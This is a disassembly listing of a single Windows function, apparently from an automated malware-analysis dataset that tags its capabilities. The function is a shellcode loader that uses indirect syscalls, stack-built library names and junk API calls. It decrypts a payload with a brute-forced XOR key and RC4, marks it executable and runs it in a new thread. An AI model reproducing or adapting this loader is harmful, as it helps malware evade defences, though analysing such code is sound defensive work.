Function at 0x140002260
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
push rbx
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x140006018]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor r15d, r15d
mov ebx, r15d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [r15 + 8]
mov r8d, 0xff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400022ac
mov dword [rax], 0xab
mov rbx, rax
cmp dword [rbx], 0x15e
jle 0x140002324
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], r15d
xor r8d, r8d
mov qword [rsp + 0x20], r15
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
jmp 0x140002365
lea rcx, [rbp + 7]
mov dword [rbp + 7], 0x70797243
mov dword [rbp + 0xb], 0x2e707374
mov word [rbp + 0xf], 0x6c64
mov byte [rbp + 0x11], 0x6c
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [rbp - 9]
mov dword [rbp - 9], 0x41564441
mov dword [rbp - 5], 0x32334950
mov dword [rbp - 1], 0x6c6c642e
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xe8], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbp - 0x11], r15
mov qword [rbp + 0x27], 0x114
mov dword [rbp + 0x1f], r15d
mov qword [rbp + 0x17], r15
call fcn.140001d80
test eax, eax
jne 0x1400023d9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002c96
lea rdx, str.____Failed_To_Initialize_The_Specified_Indirect_Syscalls__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
jmp 0x140002c5e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002443
lea rdx, str.___Press__Enter__To_Continue_...
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400024ad
lea rdx, str._i__Calling_NtAllocateVirtualMemory_...
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [0x1400067b0]
mov ecx, dword [0x1400067a0]
call fcn.140002cf0
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0x27]
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x11]
lea rcx, [r8 - 1]
call fcn.140002d12
mov ebx, eax
test eax, eax
jne 0x140002c29
cmp qword [rbp - 0x11], r15
je 0x140002c29
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [rbx + 8]
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x14000255f
lea rdx, str.___DONE__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400025cd
mov r8, qword [rbp - 0x11]
lea rdx, str.___Allocated_Memory_At_Address_0x_p__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbp - 0x11]
mov dword [rbp - 0x19], r15d
movsxd rax, dword [rbp - 0x19]
cmp rax, 0x114
jae 0x140002615
lea r9, [0x140006060]
nop dword [rax + rax]
movsxd rax, dword [rbp - 0x19]
movsxd rcx, dword [rbp - 0x19]
movzx eax, byte [rax + r9]
mov byte [rcx + r8], al
mov eax, dword [rbp - 0x19]
inc eax
mov dword [rbp - 0x19], eax
movsxd rax, dword [rbp - 0x19]
cmp rax, 0x114
jb 0x1400025f0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x14000267f
lea rdx, str._i__Calling_NtProtectVirtualMemory_...
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [0x1400067c8]
mov ecx, dword [0x1400067b8]
call fcn.140002cf0
lea rax, [rbp + 0x1f]
mov r9d, 0x20
lea r8, [rbp + 0x27]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x11]
mov rcx, 0xffffffffffffffff
call fcn.140002d12
mov ebx, eax
test eax, eax
je 0x1400026ec
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002c96
lea rdx, str.____NtProtectVirtualMemory_Failed_With_Status_:_0x_0.8X_n
jmp 0x140002c52
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xf0], r14
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002766
lea rdx, str.___DONE__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx ecx, byte [0x140006050]
xorps xmm0, xmm0
mov r14, qword [rbp - 0x11]
mov edi, r15d
movups xmmword [rbp + 0x2f], xmm0
cmp ecx, 0x68
je 0x14000278b
inc edi
mov eax, ecx
xor eax, edi
cmp eax, 0x68
jne 0x140002780
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x1400027f8
mov r8d, edi
lea rdx, str._i__Calculated_b_to_be_:_0x_0.2X__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0xe0]
lea r8, [0x140006050]
mov ecx, r15d
mov rdx, r15
nop dword [rax]
movzx eax, dil
xor al, byte [rdx + r8]
lea rdx, [rdx + 1]
sub al, cl
inc ecx
mov byte [rbp + rdx + 0x2e], al
cmp ecx, 0x10
jl 0x140002810
lea rax, [rbp + 0x2f]
mov dword [rbp - 9], 0x10
mov qword [rbp - 1], rax
mov dword [rbp - 5], 0x10
mov dword [rbp + 7], 0x114
mov dword [rbp + 0xb], 0x114
mov qword [rbp + 0xf], r14
call fcn.1400020b0
mov rcx, rax
call fcn.140001f60
lea rdx, [rbp - 9]
lea rcx, [rbp + 7]
call rax
mov r14, qword [rsp + 0xf0]
mov ebx, eax
test eax, eax
je 0x1400028ea
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400028e3
mov r8d, ebx
lea rdx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x140002c9b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002954
lea rdx, str._i__Calling_NtCreateThreadEx_...__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [0x1400067e0]
mov ecx, dword [0x1400067d0]
call fcn.140002cf0
mov rax, qword [rbp - 0x11]
lea rcx, [rbp + 0x17]
mov qword [rsp + 0x50], r15
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], r15
xor r8d, r8d
mov qword [rsp + 0x40], r15
mov edx, 0x1fffff
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
call fcn.140002d12
mov ebx, eax
test eax, eax
je 0x1400029dd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002c96
lea rdx, str.____NtCreateThreadEx_Failed_With_Status_:_0x_0.8X_n
jmp 0x140002c52
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002a47
lea rdx, str.___DONE__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002ac2
mov rcx, qword [rbp + 0x17]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov r9, qword [rbp - 0x11]
lea rdx, str.___Thread__d_Created_Of_Entry:_0x_p__n
mov r8d, eax
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002b2c
lea rdx, str._i__Calling_NtWaitForSingleObject_...__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [0x1400067f8]
mov ecx, dword [0x1400067e8]
call fcn.140002cf0
mov rcx, qword [rbp + 0x17]
xor r8d, r8d
xor edx, edx
call fcn.140002d12
mov ebx, eax
test eax, eax
je 0x140002b84
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002c96
lea rdx, str.____NtWaitForSingleObject_Failed_With_Error:_0x_0.8X__n
jmp 0x140002c52
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002bee
lea rdx, str.___DONE__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400028e3
lea rdx, str.___Press__Enter__To_Quit_...
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
jmp 0x1400028ab
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140002c96
lea rdx, str.____NtAllocateVirtualMemory_Failed_With_Error:_0x_0.8X__n
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
mov rdi, qword [rsp + 0xe8]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140002d50
add rsp, 0xc0
pop r15
pop rbx
pop rbp
ret